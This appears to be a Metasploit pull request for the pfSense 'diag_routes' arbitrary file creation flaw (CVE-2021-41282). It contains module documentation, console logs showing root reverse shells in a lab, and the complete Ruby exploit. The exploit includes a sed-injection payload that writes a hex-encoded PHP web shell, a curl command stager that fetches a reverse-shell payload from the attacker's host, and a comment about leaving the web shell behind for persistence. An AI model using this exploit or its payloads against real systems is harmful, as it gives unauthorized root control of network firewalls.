Initial implementation of pfSense auth file creation bug (CVE-2021-41282)
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## Vulnerable Application
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### Description
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This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface
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(CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an
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authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege.
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This module uses the vulnerability to create a web shell and execute payloads with root privileges.
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### Installation
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Download an affected version's ISO. For example, pfSense 2.5.2 can be download here:
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https://nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz
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* Follow the [installation guide](https://docs.netgate.com/pfsense/en/latest/install/install-pfsense.html) to get an initial base install.
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* Log into the web interface using the credentials `admin:pfsense`
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* Run through the [setup wizard](https://docs.netgate.com/pfsense/en/latest/config/setup-wizard.html).
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To test a user that *only* has the `WebCfg - Diagnostics: Routing tables` privilege, as an
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`admin` create a new user. The add user interface is in the `System` -> `User Manager` page.
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Select the `Add` user button and create the user. Once the user is created, edit the user
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and `Add` an `Effective Privilege`. Only assign `WebCfg - Diagnostics: Routing tables`. Done!
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## Verification Steps
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* Follow the installation instructions above
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* Do: `use exploit/unix/http/pfsense_diag_routes_webshell`
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* Do: `set username <name>`
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* Do: `set password <password>`
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* Do: `set RHOST <ip>`
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* Do: `check`
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* Verify the remote target is flagged as vulnerable
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* Do: `set LHOST <ip>`
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* Do: `exploit`
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* You should get a reverse shell
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## Options
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### TARGETURI
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Specifies base URI. The default value is `/`.
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### USERNAME
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The username to log in to the pfSense web interface with. The default is `admin`.
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### PASSWORD
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The password to log in with. Set to `pfsense` by default.
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### WEBSHELL_NAME
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Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
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Set to `nil` by default.
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### DELETE_WEBSHELL
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Indicates if the web shell should be deleted after reverse shell is established. A user may want to leave behind a
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web shell for persistence reasons. The default is `true`.
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### Target 0
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Target 0 is a `CMD_ARCH` reverse shell using openssl.
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### Target 1
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Target 1 is a `bsd/x64` reverse shell using the curl command stager.
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## Scenarios
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### pfSense 2.5.2. Reverse shell using openssl cmd_arch payload.
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```
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msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
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[*] Using configured payload bsd/x64/shell_reverse_tcp
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
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USERNAME => diag_only
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
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PASSWORD => labpass1
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
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RHOST => 10.0.0.10
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
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[!] This exploit may require manual cleanup of '/usr/local/www/HFkrB' on the target
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[+] 10.0.0.10:80 - The target is vulnerable.
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
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LHOST => 10.0.0.2
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
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[*] Started reverse TCP handler on 10.0.0.2:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target is vulnerable.
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[*] Uploading webshell to /dgGNIYHKgUL.php
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[*] Testing if web shell installation was successful
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[+] Web shell installed at /dgGNIYHKgUL.php
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[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
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[*] Using URL: http://0.0.0.0:8080/kDumgxJC
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[*] Local IP: http://10.0.0.2:8080/kDumgxJC
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[*] Client 10.0.0.10 (curl/7.76.1) requested /kDumgxJC
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[*] Sending payload to 10.0.0.10 (curl/7.76.1)
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[*] Command Stager progress - 100.00% done (109/109 bytes)
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[+] Deleted /usr/local/www/hrCcgfpdiGhC
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[+] Deleted /usr/local/www/dgGNIYHKgUL.php
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[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:57590 ) at 2022-02-27 18:08:12 -0800
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[*] Server stopped.
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id
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uid=0(root) gid=0(wheel) groups=0(wheel)
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pwd
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/usr/local/www
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uname -a
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FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
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```
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### pfSense 2.5.2. Reverse shell using bsd reverse shell and curl command stager.
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```
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msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
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[*] Using configured payload bsd/x64/shell_reverse_tcp
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
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USERNAME => diag_only
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
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PASSWORD => labpass1
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
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RHOST => 10.0.0.10
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
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[!] This exploit may require manual cleanup of '/usr/local/www/QEpijnAPnpu' on the target
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[+] 10.0.0.10:80 - The target is vulnerable.
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
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LHOST => 10.0.0.2
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msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
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[*] Started reverse TCP handler on 10.0.0.2:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target is vulnerable.
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[*] Uploading webshell to /xsYZjKyayH.php
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[*] Testing if web shell installation was successful
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[+] Web shell installed at /xsYZjKyayH.php
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[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
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[*] Using URL: http://0.0.0.0:8080/eUKIs9nMdZP2t
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[*] Local IP: http://10.0.0.2:8080/eUKIs9nMdZP2t
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[*] Client 10.0.0.10 (curl/7.76.1) requested /eUKIs9nMdZP2t
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[*] Sending payload to 10.0.0.10 (curl/7.76.1)
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[*] Command Stager progress - 100.00% done (114/114 bytes)
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[+] Deleted /usr/local/www/MkTcoNc
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[+] Deleted /usr/local/www/xsYZjKyayH.php
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[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:1879 ) at 2022-02-27 17:55:51 -0800
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[*] Server stopped.
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id
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uid=0(root) gid=0(wheel) groups=0(wheel)
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whoami
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root
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pwd
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/usr/local/www
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uname -a
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FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
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```
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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include Msf::Exploit::FileDropper
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'pfSense Diag Routes Web Shell Upload',
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'Description' => %q{
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This module exploits an arbitrary file creation vulnerability in the pfSense
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HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
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and can be exploited by an authenticated user if they have the
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"WebCfg - Diagnostics: Routing tables" privilege.
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This module uses the vulnerability to create a web shell and execute payloads
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with root privileges.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
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'jbaines-r7' # metasploit module
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],
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'References' => [
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['CVE', '2021-41282'],
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['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
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],
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'DisclosureDate' => '2022-02-23',
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'Platform' => ['unix', 'bsd'],
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'Arch' => [ARCH_CMD, ARCH_X64],
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'Privileged' => true,
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'Targets' => [
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[
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'Unix Command',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_cmd,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_openssl'
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},
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'Payload' => {
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'Append' => ' & disown'
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}
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}
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],
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[
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'BSD Dropper',
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{
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'Platform' => 'bsd',
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'Arch' => [ARCH_X64],
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'Type' => :bsd_dropper,
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'CmdStagerFlavor' => [ 'curl' ],
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'DefaultOptions' => {
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'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
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}
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}
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]
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],
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'DefaultTarget' => 1,
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'DefaultOptions' => {
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'RPORT' => 443,
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'SSL' => true
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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}
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)
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)
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register_options [
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OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
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OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
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OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
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OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
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]
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@webshell_uri = '/'
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@webshell_path = '/usr/local/www/'
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end
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# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
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# pfsense permissions can be so locked down that we have to try direct exploitation
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# in order to determine vulnerability. A user can even be restricted from the
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# dashboard (where other pfsense modules extract the version).
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def check
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# Grab a CSRF token so that we can log in
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res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
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return CheckCode::Unknown("Didn't receive a response from the target.") unless res
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return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
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return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
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/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
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return CheckCode::Unknown('Could not find CSRF token') unless csrf
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# send the log in attempt
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, '/index.php'),
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'method' => 'POST',
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'vars_post' => {
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'__csrf_magic' => csrf,
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'usernamefld' => datastore['USERNAME'],
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'passwordfld' => datastore['PASSWORD'],
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'login' => ''
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}
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)
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return CheckCode::Detected('No response to log in attempt.') unless res
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return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
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# save the auth cookie for later user
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@auth_cookies = res.get_cookies
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# attempt the exploit. Upload a random file to /usr/local/www/ with random contents
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filename = Rex::Text.rand_text_alpha(4..12)
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contents = Rex::Text.rand_text_alpha(16..32)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
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'cookie' => @auth_cookies,
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'encode_params' => false,
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'vars_get' => {
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'isAjax' => '1',
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'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
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}
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})
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return CheckCode::Safe('No response to upload attempt.') unless res
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return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
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# Validate the exploit was successful by requesting the uploaded file
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res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
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return CheckCode::Safe('No response to exploit validation check.') unless res
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return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
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register_file_for_cleanup("#{@webshell_path}#{filename}")
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CheckCode::Vulnerable()
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end
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# Using the path traversal, upload a php webshell to the remote target
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def drop_webshell
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webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
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print_status("Uploading webshell to #{webshell_location}")
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# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
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php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
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'cookie' => @auth_cookies,
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'encode_params' => false,
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'vars_get' => {
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'isAjax' => '1',
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'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
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}
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})
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fail_with(Failure::Disconnected, 'Connection failed') unless res
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fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
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# Test the web shell installed by echoing a random string and ensure it appears in the res.body
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print_status('Testing if web shell installation was successful')
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rand_data = Rex::Text.rand_text_alphanumeric(16..32)
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res = execute_via_webshell("echo #{rand_data}")
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fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
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print_good("Web shell installed at #{webshell_location}")
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# This is a great place to leave a web shell for persistence since it doesn't require auth
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# to touch it. By default, we'll clean this up but the attacker has to option to leave it
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if datastore['DELETE_WEBSHELL']
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register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
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end
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end
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# Executes commands via the uploaded webshell
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def execute_via_webshell(cmd)
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if target['Type'] == :bsd_dropper
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# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
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# way to force the payload to background itself (and thus allow the HTTP response to
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# to return). So we hack it in ourselves. This identifies the ending file cleanup
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# which should be right after executing the payload.
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cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
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end
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
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'vars_get' => {
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'cmd' => cmd
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}
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})
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fail_with(Failure::Disconnected, 'Connection failed') unless res
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fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
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res
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end
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def execute_command(cmd, _opts = {})
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execute_via_webshell(cmd)
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end
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def exploit
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# create a randomish web shell name if the user doesn't specify one
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@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
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drop_webshell
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print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
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case target['Type']
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when :unix_cmd
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execute_command(payload.encoded)
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when :bsd_dropper
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execute_cmdstager
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end
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end
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end
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